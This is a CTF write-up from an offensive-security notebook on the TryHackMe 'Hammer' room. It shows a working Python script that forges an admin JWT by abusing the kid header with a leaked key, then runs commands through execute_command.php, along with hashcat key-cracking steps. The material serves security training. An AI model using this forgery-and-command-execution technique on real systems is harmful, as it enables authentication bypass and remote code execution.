🖥️
Offensive security concepts
  • Introduction
  • 💿Virtualbox network setup
    • What is VirtualBox?
    • NAT
    • NAT network
    • Bridged adapter
    • Internal network
    • pfSense
    • vboxmanage
    • Overview
  • 🕵️OSINT
    • What is OSINT?
    • Google dorks
    • Metadata
    • Social media
      • osintagram
  • Tools
    • waybackurls
    • recon-ng
    • sherlock
    • maltego
    • theHarvester
    • photon
  • 😨Social Engineering
    • What is social engineering?
    • 7 tricks of social engineering
    • Email phishing
    • Typosquatting
    • Compiled resources
  • 😈MitM attack
    • What is MitM attack?
    • ARP spoof/poison
    • DNS spoof/poison
    • HTTP MitM attack
    • ICMP redirect attack
    • DHCP spoofing
    • Evil twin attack
    • Experiment (guest network)
    • Compiled resources
  • 🔌UPnP exploitation
    • What is UPnP?
    • What is SSDP?
    • IGD functions
    • LAN devices
    • Compiled resources
  • Network Reconnaissance & Attacks
    • What is network hacking?
  • 1️⃣Network live host discovery
    • What is network live host discovery?
    • nmap
    • arp-scan
    • masscan
  • 2️⃣Network port scan/services enumeration
    • What is network port scan/services enumeration?
    • nmap
    • netcat
  • 3️⃣Network services vulnerability scanning & exploitation
    • What is network vulnerability scanning/exploitation?
    • 20/21 ~ FTP
    • 22 ~ SSH
    • 25 ~ SMTP
    • 53 ~ DNS
    • 80/443 ~ HTTP/HTTPS
    • 110 ~ POP3
    • 111/2049 ~ RPC/NFS
    • 139/445 ~ SMB
    • 143 ~ IMAP
    • 3389 ~ RDP
  • Vulnerability & exploitation
    • Database
    • Metasploit
    • Msfvenom
  • Misconfigurations
    • .DS_Store
  • Web Application Penetration Testing
    • Introduction
    • Directories/URLs gathering
    • Subdomain enumeration
    • File inclusion & Path traversal
    • Insecure Direct Object Reference (IDOR)
    • Upload vulnerabilities
      • File extension cheat-sheet
    • SSRF
    • CSRF
    • XSS
    • SQL injection
  • Authentication/session management
    • OWASP WSTG-SESS-10 ~ JSON Web Token (JWT)
    • OWASP WSTG-ATHZ-05 ~ OAuth weaknesses
  • Webshell
  • Web API pentesting
    • Resources
    • Methodology
    • jq
    • httpx
    • ParamSpider
  • Web app pentesting methodology
  • OWASP
    • OWASP top 10
    • OWASP API top 10
    • Web Security Testing Guide (WSTG)
      • WSTG-ATHZ
        • WSTG-ATHZ-05 ~ OAuth weaknesses
      • WSTG-SESS
        • WSTG-SESS-10 ~ JWT
  • General web knowledge
    • URI standard (RFC 3986)
    • HTTP headers
  • 🛣️Attacks on routing protocols
    • What are attacks on routing protocols?
    • BGP hijacking
  • 🏕️To explore
    • MQTT
    • Routersploit
    • DNS rebinding attack
    • LLMNR/mDNS poisoning
  • 👤Anonymity
    • VPN
    • Proxychains
    • TOR
    • Obfuscation
  • Credentials brute-force/cracking
    • Introduction
    • Windows SAM database
    • Dictionary attack
    • Rainbow attack
      • Hash database
    • Tools
      • Hydra
      • John the ripper
      • Hashcat
      • hash-identifier
  • Post-exploitation
    • Gaining shell
      • netcat
      • socat
      • powershell
      • bash
      • PHP
    • Repository
  • Privilege escalation
    • Linux
      • Repositories
      • Enumeration
      • Vulnerabilities exploit
        • General
        • Kernel exploit
        • Sudo
        • SUID
        • Capabilities
        • Cronjobs
        • $PATH
        • NFS (target-machine)
        • Filesystem sharing
          • NFS (attacker-machine)
    • Windows
      • Password harvesting
      • Vulnerabilities exploit
        • Scheduled tasks
        • AlwaysInstallElevated
        • Service misconfigurations
          • Insecure permissions on service executable
          • Unquoted service path
          • Insecure service permission
        • Abusing privileges
  • Ⓜ️MITRE ATT&CK
    • Introduction
  • 🧰Tools/services
    • Introduction
    • Web hacking
      • Web fuzzing
      • Password brute-forcing
      • Burp Suite (Community)
      • nikto
      • ZAP (Zed Attack Proxy)
      • nuclei
    • Information gathering/reconnaissance
    • Network hacking
      • nmap (general overview)
      • scapy
      • bettercap
    • General
      • impacket
    • Wordlists
      • cewl
  • Professional report writing
    • Report template
      • Web applicaton pentesting
        • OWASP report layout
  • Tasks on-the-go
    • Note taking on-the-go
    • Other tips
  • Practice
    • Metasploitable 2
    • TryHackMe
  • Operational Security (OpSec)
    • Hardening
      • General
      • Oracle VirtualBox
      • Web Browser
      • VPN/Proxy
  • Safe document viewer
    • PDF
    • .docx
  • Write-ups
    • TryHackMe
      • Silver Platter
      • Light
      • Pickle Rick
      • Hammer
        • Enumeration (active recon)
          • /hmr
          • Further directory discovery
          • /phpmyadmin
          • burp suite sitemap
        • Brute forcing 4-digit code
        • Retrieving the flag
      • OWASP Top 10 - 2021 (task 22)
    • OverTheWire
      • Untitled
    • OWASP
      • OWASP Juice Shop
      • OWASP WebGoat
  • AI prompt
    • ChatGPT
Powered by GitBook
On this page
  • Exploring RCE
  • Exploiting JWT
  • 1. Signature Verification
  • 2. Weak HMAC Keys
  • 3. Vulnerable kid header value
  1. Write-ups
  2. TryHackMe
  3. Hammer

Retrieving the flag

PreviousBrute forcing 4-digit codeNextOWASP Top 10 - 2021 (task 22)

Last updated 1 day ago

Exploring RCE

From the dashboard page (/dashboard.php), I tried executing a few common commands such as whoami, id, pwd, etc.

It appears that the application only allows the ls command. From the output, I noticed an interesting file: 188ade1.key.

Visiting the URL at /188ade1.key downloads a file with the content:

56058354efb3daa97ebab00fabd7a7d7

Exploiting JWT

I developed a Python script for the testing. First, we will need to login using the login() function. This ensures that we retrieve a new PHPSESSID that is associated with the email. Secondly, a POST request will be send to the /execute_command.php path with the command in the request body — for code execution.

The following Python script is just an outline, the respective variables will be different for each test. The final exploit script can be found below.

import requests
import jwt

class JWT_KID_EXPLOIT():
    s = requests.Session()
    PORT = 1337
    email = 'tester@hammer.thm'
    password = 'xxx' # value of the new password

    def __init__(self, IP):
        self.IP = IP
        self.URL = f'http://{IP}:{self.PORT}'

    def login(self):
        self.s.post(f'{self.URL}/index.php',
                    headers={'Content-Type': 'application/x-www-form-urlencoded'},
                    data={'email': self.email,
                          'password': self.password})

    def start(self):
        # login
        self.login()

        key = 'xxx'

        payload = {
            "iss": "http://hammer.thm",
            "aud": "http://hammer.thm",
            "iat": 1748754378,
            "exp": 1749757978,
            "data": {
                "user_id": 1,
                "email": "tester@hammer.thm",
                "role": "admin"
            }
        }
        headers = {
            "typ": "JWT",
            "alg": "HS256",
            "kid": "/var/www/mykey.key"
        }

        token = jwt.encode(payload, key, algorithm='HS256', headers=headers)
        command = 'xxx'  # command to read flag

        print(f'[INFO] token={token}')

        res = self.s.post(f'{self.URL}/execute_command.php',
                          headers={
                              'Content-Type': 'application/json', 'Authorization': f'Bearer {token}'},
                          json={
                              'command': command
        })

        print(f'[INFO] {res.status_code}')
        print(f'[INFO] {res.text}')


IP = input('[!] Enter the target IP address: ')

jwt_exploit = JWT_KID_EXPLOIT(IP)
jwt_exploit.start()

1. Signature Verification

The none algorithm

The JWT specification defines a signature algorithm called none. This means that there is no signature for the JWT, allowing the payload to be modified without any signing keys.

Change the alg value in the headers field in the script above to none:

headers = {
    "typ": "JWT",
    "alg": "none",
    "kid": "/var/html/mykey.key"  
}

Output from Python script:

Error message: Invalid token: Algorithm not supported

2. Weak HMAC Keys

Default HMAC signing key (firebase/php-jwt)

However, from research, it appears that this package does not employ any default signing keys.

Brute force cracking the HMAC key

Utilizing hashcat, I attempted to brute force the key using two wordlists from Daniel Miessler's SecLists:

$ echo <jwt> > jwt.txt

$ hashcat -m 16500 -a 0 jwt.txt rockyou.txt
$ hashcat -m 16500 -a 0 jwt.txt scraped-jwt-secrets.txt

The brute force attempt failed, and I was unable to find the valid signing key.

Malformed signature

Remove the jwt.encode() line, and retrieve the token from the existing cookies instead. There are many ways to malform the signature. For this test, I decided to remove the last character from the token.

token = self.s.cookies.get('token')
token = token[:-1] # remove the last character

Output:

3. Vulnerable kid header value

In our application, a symmetric key is used. Thus, the kid value defines the path used to look up a value to be used as the signing key.

I attempted to change the kid value to 188ade1.key, and encode a new JWT with the content of that file.

 key = '56058354efb3daa97ebab00fabd7a7d7'
 
 headers = {
   "typ": "JWT",
   "alg": "HS256",
   "kid": "188ade1.key"  # changed from '/var/html/mykey.key' -> '188ade1.key'
 }
 
 command = 'cat /home/ubuntu/flag.txt'

With the command: cat /home/ubuntu/flag.txt, I was able to retrieve the flag!

We have found the answer to the final question: "What is the content of the file /home/ubuntu/flag.txt?": THM{RUNANYCOMMAND1337} .

FINAL Python script:

import requests
import jwt

class JWT_KID_EXPLOIT():
    s = requests.Session()
    PORT = 1337
    email = 'tester@hammer.thm'
    password = 'xxx' # value of the new password

    def __init__(self, IP):
        self.IP = IP
        self.URL = f'http://{IP}:{self.PORT}'

    def login(self):
        self.s.post(f'{self.URL}/index.php',
                    headers={'Content-Type': 'application/x-www-form-urlencoded'},
                    data={'email': self.email,
                          'password': self.password})

    def start(self):
        # login
        self.login()

        key = '56058354efb3daa97ebab00fabd7a7d7' # retrieved from 188ade1.key

        payload = {
            "iss": "http://hammer.thm",
            "aud": "http://hammer.thm",
            "iat": 1748754378,
            "exp": 1749757978,
            "data": {
                "user_id": 1,
                "email": "tester@hammer.thm",
                "role": "admin" # changed from "user" -> "admin"
            }
        }
        headers = {
            "typ": "JWT",
            "alg": "HS256",
            "kid": "188ade1.key"
        }

        token = jwt.encode(payload, key, algorithm='HS256', headers=headers)
        command = 'cat /home/ubuntu/flag.txt'  # command to read flag

        print(f'[INFO] token={token}')

        res = self.s.post(f'{self.URL}/execute_command.php',
                          headers={
                              'Content-Type': 'application/json', 'Authorization': f'Bearer {token}'},
                          json={
                              'command': command
        })

        print(f'[INFO] {res.status_code}')
        print(f'[INFO] {res.text}')


IP = input('[!] Enter the target IP address: ')

jwt_exploit = JWT_KID_EXPLOIT(IP)
jwt_exploit.start()

Upon analysis of the retrieved JWT token value (using ), I noticed the kid field present in the headers. Moreover, there is a role field in the payload, which controls the user role. The goal will be to change this value to a higher privilege user such as admin.

Based on the testing guide, I decided to test the JWT based vulnerabilities.

From our previous enumeration, we have found out that the application uses firebase/php-jwt v6.10.0 (refer to ).

a)

b)

http://jwt.io/
OWASP WSTG
https://jarrettgxz-sec.gitbook.io/offensive-security-concepts/write-ups/tryhackme/hammer/enumeration-active-recon/further-directory-discovery
rockyou.txt
scraped JWT secrets
Hashcat | Offensive security concepts
Logo